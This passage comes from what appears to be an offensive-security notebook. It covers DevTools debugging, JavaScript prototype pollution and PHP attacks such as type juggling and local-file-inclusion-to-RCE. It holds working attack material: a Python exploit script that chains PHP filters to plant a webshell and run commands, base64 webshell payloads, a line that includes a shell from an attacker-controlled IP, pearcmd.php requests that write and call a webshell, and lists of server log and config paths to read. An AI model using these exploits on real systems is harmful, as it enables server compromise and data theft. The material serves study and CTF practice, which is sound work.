* **Events**: In the **Sources** tab, the right side panel has a section for *Event Listener Breakpoints* where you can enable breakpoints for any global events. This includes things like `window.close` to prevent closing a window while you're debugging, which would be annoying otherwise.
* **DOM node modification**: On the **Elements** tab, right-click any element and choose *Break on* followed by what type of modification you want to track.\
  The moment any piece JavaScript removes or modifies the node or its children, you will break on that piece of code.
* **Any built-in function call**: Run `debug(function)` in the Console or source code to break whenever that function passed as the first argument is called.

  <pre class="language-javascript" data-title="Examples"><code class="lang-javascript">debug(alert)  // Whenever alert() is called
  debug(DOMParser.prototype.parseFromString)  // Method on DOMParser instance
  </code></pre>

  This `debug()` function isn't available by the source code, only via the DevTools Console, so you'll have to set a regular breakpoint at the start of a file and run the above manually if you want to detect calls that happen on load.

{% hint style="info" %}
**Tip**: ["Never pause breakpoints"](https://developer.chrome.com/docs/devtools/javascript/breakpoints/#never-pause-here) are useful for disabling specific lines triggering an event that you set a breakpoint on, as is their intention. At the same time you can also **use them as "bookmarks"** for lines of code to easily jump between, as you can click on any breakpoint in the top-right.
{% endhint %}

{% hint style="info" %}
**Tip**: In some cases you'll encounter a sort of Race Condition where a new tab/popup opens that you want to debug, but quickly pressing `Ctrl+Shift+I` is too late.\
To **automatically open DevTools** `window.open()` calls go to the ![](/files/BtCWFu1xPfisqHaO7VvT) Settings icon and under *Global* check *Auto-open DevTools for popups*.
{% endhint %}

#### Source map from file

{% embed url="<https://developer.chrome.com/docs/devtools/developer-resources#load>" %}
DevTools documentation explaining manually loading source maps
{% endembed %}

Sometimes, [#source-maps](#source-maps "mention") are not given to you by the application you are testing, but you can find one online from sources such as GitHub or a CDN. [As explained in my writeup](https://jorianwoltjer.com/blog/p/hacking/intigriti-xss-challenge/intigriti-january-xss-challenge-0124#debugging-minimized-javascript-libraries), Chrome allows you to manually add a source map to a JavaScript file from another URL.

Right-click anywhere inside the minified source code, then press *Add source map...* and enter the absolute URL where the `.map` file can be found.

<figure><img src="/files/Hi3pumww2YGXtAdkQx1b" alt="" width="443"><figcaption><p>Adding <code>axios</code> source map from CDN</p></figcaption></figure>

{% hint style="warning" %}
**Note**: After *reloading*, the source map will be lost. You will need to re-add the source map like explained above to see the sources.
{% endhint %}


# Prototype Pollution

Exploit recursive property setting functions with special .\_\_proto\_\_ and .prototype options to add fallbacks to other property accesses

## Description

JavaScript has a feature called ["Object prototypes"](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes) that allows you to add **default fallback properties** to objects as a fallback if they don't exist yet. Every type has a separate prototype, but instances of the same type will share that prototype.

<pre class="language-javascript"><code class="lang-javascript">const obj = {};
<strong>obj.__proto__.name = "John";
</strong>console.log(obj.name); // John (this object will now get a .name property)

const newObj = {};
console.log(newObj.name); // John (prototype was used as fallback)

const newFilledObj = { name: "Jane" };
console.log(newFilledObj.name); // Jane (won't replace existing properties)
</code></pre>

Check out the following article for a more detailed explanation of prototypes and pollution:

{% embed url="<https://portswigger.net/web-security/prototype-pollution>" %}
Detailed explanation of the theory behind prototype pollution
{% endembed %}

Where polluting comes in is when an application allows you to **set arbitrary properties on an object**. This allows you as the attacker to set the `__proto__` property and alter other objects because you control fallback values. Common sources of pollution come from recursive property setting functions like `merge()`, or parsing some attacker-controlled string into an object by using recursion.

<pre class="language-javascript" data-title="Vulnerable Example"><code class="lang-javascript"><strong>function merge(target, source) {
</strong><strong>  for (const attr in source) {
</strong><strong>    if (typeof target[attr] === "object" &#x26;&#x26; typeof source[attr] === "object") {
</strong><strong>      merge(target[attr], source[attr]);
</strong><strong>    } else {
</strong><strong>      target[attr] = source[attr];
</strong><strong>    }
</strong><strong>  }
</strong><strong>  return target;
</strong><strong>}
</strong>
const obj = {
  a: 1,
};
const input = JSON.parse('{"__proto__": {"b": 2}}');
merge(obj, input);
console.log(obj.b); // 2

const newObj = {};
console.log(newObj.b); // 2 (polluted)
</code></pre>

To better understand why this is vulnerable you should follow it with a debugger by setting a breakpoint at the merge function. The function will first take the first attribute from the `source` which is `__proto__`, and then because its value is an object, enter the recursion by calling itself with both values. This again looks at the attributes and finds b which isn't an object on target and source, so it sets the attribute directly on the target. At this step, we took `target["__proto__"]`, and then set `["b"] = 2` on it. This effectively does the same as in the previous example and will pollute the whole `Object` prototype as shown by the `newObj`.

In some other cases, you will find that this function isn't recursively setting properties, but instead sets the final property to a whole value at once. An example of this was a vulnerability in [xml2js < 0.5.0](https://security.snyk.io/vuln/SNYK-JS-XML2JS-5414874), where XML was parsed into an Object. This situation is not vulnerable to prototype pollution as it mimics the following example:

```javascript
let a = {};
a.__proto__.a = 1;
console.log({}.a) // 1

let b = {};
b.__proto__ = { b: 2 };
console.log({}.b) // undefined (not polluted)
```

For more complex types that aren't directly `Object`s, their prototype may be different from the target variable that you want to pollute. Take an HTML element, for example. This is a complex type with a lot of nested inheritance, but by chaining enough properties we can reaccess the Object prototype as everything in JavaScript inherits from it:

```javascript
const root = document.createElement("div");

root.__proto__; // HTMLDivElement
root.__proto__.__proto__; // HTMLElement
root.__proto__.__proto__.__proto__; // Element
root.__proto__.__proto__.__proto__.__proto__; // Node
root.__proto__.__proto__.__proto__.__proto__.__proto__; // EventTarget
root.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; // Object

root.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__.a = 1;
console.log({}.a); // 1 (polluted)
```

## Bypassing filters using `constructor.prototype`

Because this vulnerability is relatively well-known, some developers correctly block the `__proto__` key from being set. This prevents the attack shown above, but there is another important keyword `.prototype` that **all constructors** have. We can easily access an instance's constructor by accessing its `.constructor` property.

```javascript
let obj = {};
obj.constructor.prototype.a = 1;

let newObj = {};
console.log(newObj.a); // 1
```

This is useful as it semi-replaces the need for `__proto__` in most cases, but one caveat is that we cannot simply chain them on top of each other because we will reach a loop of getting the same constructor every time, thus never reaching Object. Luckily, some other properties have different types, some of which may be `Object`s themselves. Accessing such an instance's `.constructor.prototype` brings us back to the Object prototype with which we can pollute anything.

{% embed url="<https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/#step3-prototype-pollution-again>" %}
Related writeup explaining this problem
{% endembed %}

<details>

<summary>Breadth-First Search (BFS) algorithm for property access to other types</summary>

The following script implements a Breadth-First Search algorithm to search all properties for new constructors that may be `Object`. It prints all the paths to the results and won't search duplicates. Use it by changing the `root` variable to the variable that you can set arbitrary properties on, then choose to target Object or any other type that you want to pollute. `Object` is a likely target because every other type inherits from it.

```javascript
// Get all accessible properties of an object
function props(obj) {
  // Source: https://stackoverflow.com/a/30158566/10508498
  var p = [];
  for (; obj != null; obj = Object.getPrototypeOf(obj)) {
    var op = Object.getOwnPropertyNames(obj);
    for (var i = 0; i < op.length; i++) {
      if (p.indexOf(op[i]) == -1) {
        p.push(op[i]);
      }
    }
  }
  return p;
}

// Breadth-First Search (BFS)
function search(root, target) {
  const checked = new Set();
  const queue = [[root, []]];

  while (queue.length > 0) {
    const [node, path] = queue.shift();
    // Don't check the same node twice
    if (checked.has(node)) {
      continue;
    }
    checked.add(node);

    // We found the target
    if (node.constructor === target) {
      // return path;
      console.log(path_string(path));
      continue;
    }

    for (const key of props(node)) {
      // Not allowed in strict mode
      if (key === "caller" || key === "callee" || key === "arguments" || key === "__proto__" || key === "prototype" || key === "constructor") {
        continue;
      }
      // Add children to queue if they are not empty
      const child = node[key];
      if (child !== null && child !== undefined) {
        queue.push([child, [...path, key]]);
      }
    }
  }
}

// Convert path to property access string
function path_string(path) {
  return (
    path.reduce((acc, key) => {
      if (acc === "") {
        return key;
      }
      return acc + `["${key}"]`;
    }, "root") + '["constructor"]["prototype"]'
  );
}

const root = document.createElement("div");
console.log("Starting search...");
search(root, Object);
console.log("Done!");
```

</details>

The above creates an `HTMLDivElement` as an example starting point and finds paths all the way to a raw `Object`:

{% code title="Search results" %}

```javascript
root["ownerDocument"]["defaultView"]["JSON"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["Math"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["Intl"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["Atomics"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["Reflect"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["WebAssembly"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["CSS"]["constructor"]["prototype"]
root["ownerDocument"]["defaultView"]["console"]["constructor"]["prototype"]
```

{% endcode %}

That means you are able to pollute the `Object` prototype by setting the following properties:

<pre class="language-javascript"><code class="lang-javascript"><strong>const root = document.createElement("div");
</strong><strong>root["ownerDocument"]["defaultView"]["JSON"]["constructor"]["prototype"].a = 1
</strong>
console.log({}.a) // 1
</code></pre>

## Sinks (Gadgets)

When you find a way to pollute the prototype and have confirmed that any new instance of that type has the fallback property you set, it is time to find a way to exploit it. There are some common patterns that will unknowingly use prototype properties if their regular properties aren't set. These can then be overwritten and cause all kinds of extra behavior inside the code. You may find a way to add a sensitive property that should normally not contain user input.

Here are a few examples of patterns to look for. What these all have in common is that properties are accessed, and prototypes will also be looked at:

<pre class="language-javascript"><code class="lang-javascript">// 1. "code" property is conditionally accessed, and prototype may be used if not set
<strong>({}).__proto__.code = "alert(1)";
</strong>
let settings = {};
if (settings.code) {
  eval(settings.code);
}

// 2. Keys in Object are iterated over, and prototype adds more attributes
<strong>({}).__proto__.onerror = "alert(2)";
</strong>
let attributes = { id: "unique", src: "..." };
let img = document.createElement("img");
for (const key in attributes) {
  // id, src, onload
  img.setAttribute(key, attributes[key]);
}

// 3. Polluting the Array prototype to add another index
<strong>[].__proto__["1"] = "alert(3)";
</strong>
let split = "key".split(":");
if (split[1]) {
  eval(split[1]);
}
</code></pre>

The above is useful when a custom gadget needs to be found, but **common libraries** have already been researched to find common gadgets collected in the following repository:

{% embed url="<https://github.com/BlackFan/client-side-prototype-pollution>" %}
Collection of **client-side** prototype pollution gadgets in well-known libraries
{% endembed %}

**The browser and JavaScript itself** have some gadgets too due to properties being allowed from the prototype chain. These vary in usefulness but are very widespread.

{% embed url="<https://portswigger.net/research/widespread-prototype-pollution-gadgets>" %}
Showcase of common browser features that can act as prototype pollution gadgets
{% endembed %}

## Server-Side Prototype Pollution

Ordinarily, JavaScript runs in the Browser and the impact is often XSS. But engines like NodeJS which also support prototypes in the same way are also vulnerable to the same types of attacks. Gadgets will now be targetting the server side of the application, often resulting in Remote Code Execution by adding the right properties.

Read more about detecting such vulnerabilities in the following article:

{% embed url="<https://portswigger.net/research/server-side-prototype-pollution>" %}
Explaining research in **detection** of server-side prototype pollution in various **frameworks**
{% endembed %}

Next, you can find many libraries that also have known server-side gadgets allowing for high-impact bugs:

{% embed url="<https://github.com/KTH-LangSec/server-side-prototype-pollution>" %}
Collection of **server-side** prototype pollution gadgets in well-known libraries
{% endembed %}


# PHP

Some tricks specific to the PHP web programming language

## # Related Pages

{% content-ref url="/pages/pPX8USF0xhLegHxwNR1Y" %}
[WordPress](/web/frameworks/wordpress)
{% endcontent-ref %}

## Type Juggling

When code uses `==` or `!=` instead of `===` or `!==` the user may use certain strings to do weird stuff with PHP converting strings to integers

```php
# true in PHP 4.3.0+
'0e0' == '0e1'
'0e0' == '0E1'
'10e2' == ' 01e3'
'10e2' == '01e3'
'10e2' == '1e3'
'010e2' == '1e3'
'010e2' == '01e3'
'10' == '010'
'10.0' == '10'
'10' == '00000000010'
'12345678' == '00000000012345678'
'0010e2' == '1e3'
'123000' == '123e3'
'123000e2' == '123e5'

# true in 5.2.1+
# false in PHP 4.3.0 - 5.2.0
'608E-4234' == '272E-3063'

# true in PHP 4.3.0 - 5.6.x
# false in 7.0.0+
'0e0' == '0x0'
'0xABC' == '0xabc'
'0xABCdef' == '0xabcDEF'
'000000e1' == '0x000000'
'0xABFe1' == '0xABFE1'
'0xe' == '0Xe'
'0xABCDEF' == '11259375'
'0xABCDEF123' == '46118400291'
'0x1234AB' == '1193131'
'0x1234Ab' == '1193131'

# true in PHP 4.3.0 - 4.3.9, 5.2.1 - 5.6.x
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0, 7.0.0+
'0xABCdef' == ' 0xabcDEF'
'1e1' == '0xa'
'0xe' == ' 0Xe'
'0x123' == ' 0x123'

# true in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0
# false in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2, 5.2.1 - 5.6.26, 7.0.0+
'0e0' == '0x0a'

# true in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.6.26, 7.0.0+
'0xe' == ' 0Xe.'
```

### Magic Hashes

{% embed url="<https://github.com/spaze/hashes>" %}
Collection of weird hashes that can be used for PHP Type Juggling
{% endembed %}

```
md5: 240610708:0e462097431906509019562988736854
sha1: aaroZmOk:0e66507019969427134894567494305185566735
sha256: 34250003024812:0e46289032038065916139621039085883773413820991920706299695051332
```

### Comparison rules

In PHP (< 8.0) the following table of rules applies when loosely comparing variables:

<figure><img src="/files/Km0uZfAKJWDFHtCnfp0l" alt=""><figcaption><p>A table showing common loose comparisons with interesting values</p></figcaption></figure>

For a complete and detailed guide on every possible comparison between types, see [the PHP docs](https://www.php.net/manual/en/language.types.type-juggling.php).

{% hint style="warning" %}
The `"php" == 0` case was so weird, that from PHP 8.0 onward, this is no longer true. However, the `"php" == true` still works ([see test](https://onlinephp.io/c/b435e)).
{% endhint %}

## Local File Inclusion

When some code uses the `include`, `include_once`, `require` or `require_once` keyword to include a file from user input (eg. `$_GET['page']`) you can include any file on the system using Directory Traversal.

The functions run PHP code in the files that are included. If you can upload any file, put PHP code in there, and when you include it, it will be executed.

If the response is PHP code, it will be executed and not shown to you, which could be a problem. If you want to read source-code of the `.php` files, you can use the following PHP filter to convert the file to base64 before interpreting it:

```url
php://filter/convert.base64-encode/resource=index.php
```

{% hint style="info" %}
You can read PHP files like this even if `.php` is appended to your input in the code. Because the last part of this PHP filter is `.php` you can just remove it and let the code add it back
{% endhint %}

### RCE using PHP Filters

The main goal for getting RCE from LFI is to get some arbitrary content returned by the URL, which is then included and read as PHP code. If you control the start of the URL in some include function, you can use [PHP Wrappers](https://www.php.net/manual/en/wrappers.php) to get content from other places than straight from a file. The `data://` wrapper for example can return arbitrary content, for example, using the `base64` encoding:

{% code title="PHP wrappers with a shell" %}

```url
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4=
http://$YOUR_IP/shell.php
```

{% endcode %}

However, in more recent versions of PHP, the `allow_url_include=` option which enables some of these wrappers is **disabled by default**. However, there is a really powerful technique that I came across recently [found by loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) which combines lots of PHP filters to turn any file into arbitrary PHP code. For this, you only need to have **control of the start** to allow PHP wrappers, and then have a valid file anywhere to transform into PHP code. But you'll have a valid file anyway from the default functionality of the site, so this is pretty much a guarantee.

{% code title="Example vulnerable code" %}

```php
<?php include $_GET["page"] + ".php" ?>
```

{% endcode %}

Read the writeup linked above to understand how they found it, but here's the basic idea:

* `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
* `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

Combining these and a lot of `convert.iconv` to convert between encodings, we can get any arbitrary base64 string that we can decode and include. Here's the exploit script used to automatically do this for a PHP shell, and then execute commands using it:

```python
import requests

url = "http://localhost/index.php"  # CHANGE to vulnerable URL
file_to_use = "/etc/passwd"  # CHANGE to any file on target
command = "/readflag"  # CHANGE to command to be executed

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",    
    "file": final_payload   # CHANGE to parameter where file is included
})

print(r.text)
```

For arbitrary contents instead of just the ``<?=`$_GET[0]`;;?>`` needed here, check out the [list of all base64 characters](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#improvements) that Carlos Polop made. Synacktiv later also made a tool that automates it:

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}
Tool to quickly generate PHP filter chains with arbitrary content
{% endembed %}

<details>

<summary>Payload: <code>&#x3C;?=`$_GET[0]`?></code></summary>

{% code overflow="wrap" %}

```bash
?0=id&page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

{% endcode %}

</details>

### RCE using `pearcmd.php`

Recently a new technique was developed for cases where you **don't control the start** of the `include` path. In such cases, you cannot use wrappers, but directory traversal using `../` is still possible. This opens up the possibility of using other existing PHP files on the system to execute arbitrary code, which the following writeup found a technique for:

{% embed url="<https://www-leavesongs-com.translate.goog/PENETRATION/docker-php-include-getshell.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=nl&_x_tr_pto=wapp#0x06-pearcmdphp>" %}
Using `pearcmd.php` to get RCE from local file inclusion through directory traversal
{% endembed %}

{% code title="Vulnerable code" %}

```php
<?php
include 'includes/' . $_GET['page'] . '.php';
```

{% endcode %}

This technique is especially useful if `.php` is **appended** to your input like many `?page=` parameters. Because the `/usr/local/lib/php/pearcmd.php` file fits this requirement it is very usable. To interact with this script we use the query string which is passed as command-line arguments. The `config-create` subcommand allows us to write a file anywhere with some content we control, perfect for writing a webshell!

Even if the user has **no write privileges to the webroot**, we already have a directory traversal on the include function to be able to do this in the first place, so we can re-use it later to include the file we write executing the payload. We will write it to the `/tmp` folder with a simple shell that runs the `?0=` parameter as a system command:

{% code title="/tmp/shell.php" %}

```php
<?=`$_GET[0]`?>
```

{% endcode %}

Note that the config file we will write contains this string multiple times, so the command is executed and its output is included in the response multiple times. We first use the directory traversal to include the `pearcmd.php` file and write the config with a PHP shell:

{% code title="Request 1" overflow="wrap" %}

```http
GET /?+config-create+/&page=../../../../usr/local/lib/php/pearcmd&/<?=`$_GET[0]`?>+/tmp/shell.php HTTP/1.1
Host: localhost
```

{% endcode %}

You should receive a verbose `CONFIGURATION ...` response if this was successful. Then the only thing left to do is execute our written webshell with the same vulnerability:

{% code title="Request 2" %}

```http
GET /?page=../../../../tmp/shell&0=id HTTP/1.1
Host: localhost:8000
```

{% endcode %}

{% code overflow="wrap" %}

```
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:70:"/&page=../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
```

{% endcode %}

{% hint style="warning" %}
**Note**: The `/usr/local/lib/php/pearcmd.php` file we abuse here does not exist on all setups. It is included in PHP < 7.3 by default, and version > 7.4 if the `--with-pear` option was used to compile it. Any *official docker image* however does include it, so in many instances, you will find this file.
{% endhint %}

### RCE using Session file

Another way is using PHP sessions, which store your session data in `/tmp/sess_[PHPSESSID]` which you can access using your own `PHPSESSID=` cookie on the site. Anything saved to `$_SESSION[]` in the code will be saved to this file. If you put PHP code into your session and include it, the PHP code will be executed.

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-apocalypse-2021/extortion>" %}
A short writeup showing this attack in practice (fun fact, my first ever blog post!)
{% endembed %}

### RCE using logs

You can include log files with your input in them, which can contain PHP code to be executed on include. The `User-Agent` is often saved to logs:

{% code title="Common log file locations" %}

```
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log
```

{% endcode %}

If you can't find the logs you might be able to find it by looking at the configuration of the server, you can include/read any file after all:

{% code title="Common config file locations" %}

```
/etc/apache2/apache2.conf
/opt/apache2/apache2.conf
/usr/local/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/etc/httpd/httpd.conf
```

{% endcode %}

### Reading Files from error-based oracle

A trick using [`php://filter`](https://www.php.net/manual/en/filters.php) was shown in [#rce-using-php-filters](#rce-using-php-filters "mention") to craft any arbitrary string from any other content by chaining filters. It was discovered however that this idea could be brought even further in order to **leak file content** when it is **not reflected**. Here is a vulnerable code example:

```php
<?php
file($_POST['file']);  // Open the file but don't do anything with it
```

This type of code may be common in a backend process that the user doesn't directly notice. While nothing is reflected back, an attacker can still leak the content of the file by carefully crafting PHP filters that expand exponentially when a certain character is in a certain place. By creating many of these filter chains they can begin to leak all the characters of the file one by one.

For a more technical breakdown, see the following writeup:

{% embed url="<https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle>" %}
Detailed walkthrough of the error-based filter chain oracle, including **vulnerable functions** and a **tool**
{% endembed %}

In the above post, they also include a tool for exploiting such vulnerabilities automatically by telling it your request endpoint and parameters:

{% embed url="<https://github.com/synacktiv/php_filter_chains_oracle_exploit>" %}
Exploit the vulnerability easily by passing your request via the CLI
{% endembed %}

In a real-world scenario, this could be used to potentially leak secret keys or passwords stored in files like `config.php` or `.env`. Another thing to keep in mind is that the error-based method might not work if a server treats warnings as errors. In such cases, you can use the alternative *timing attack* built-in because these high-memory operations take more time to exponentially grown than others.

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ python3 filters_chain_oracle_exploit.py --verb POST --target http://localhost:8000 --file '/flag.txt' --parameter 'file'
</strong>[*] The following URL is targeted : http://localhost:8000
[*] The following local file is leaked : /test
[*] Running GET requests
[+] File /flag leak is finished!
b'Q1RGe2Y0azNfZmw0Z19mMHJfdDNzdDFu'
b'CTF{f4k3_fl4g_f0r_t3st1n'
</code></pre>

{% hint style="info" %}
**Tip**: If your injection is more complex than a POST request with some extra parameters or headers, like a JSON format or multi-step process, you can try to change the `requester.py` -> `req_with_response()` function to include your custom flow.
{% endhint %}

### Reading files using Prefix+Suffix format

The latest development in **filter chain** attacks for LFI is a way to add arbitrary prefixes and suffixes to a file's content, without any noise. This allows parsers expecting a specific format to validate/extract the part you want to leak without the original file having to have that format.\
It is best shown with an example:

{% code title="Vulnerable code" %}

```php
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
```

{% endcode %}

Normally, the above code expects a JSON-formatted file like `{"message": "Hello, world"}` and reads its `message` attribute back to the client. While an attacker can change the `$_POST['url']` value to any URL, this would fail on the `json_decode()` function without actually showing the content. This is where the new technique and tool come in:

{% embed url="<https://github.com/ambionics/wrapwrap>" %}
Generate a filter chain for arbitrary prefixes and suffixes ([blog post](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix))
{% endembed %}

With the techniques outlined in the blog post, it can add characters to the front of the file's content, as well as to the end. The content itself will remain in the center, allowing a simple format like JSON or XML to drag it along to a response that the attacker can see. Then it becomes possible to leak big chunks of a file with a single request, instead of single bits with many requests like in the [#reading-files-from-error-based-oracle](#reading-files-from-error-based-oracle "mention") section.

<pre class="language-shellscript"><code class="lang-shellscript">$ ./wrapwrap.py &#x3C;path> &#x3C;prefix> &#x3C;suffix> &#x3C;nb_bytes>
<strong>$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
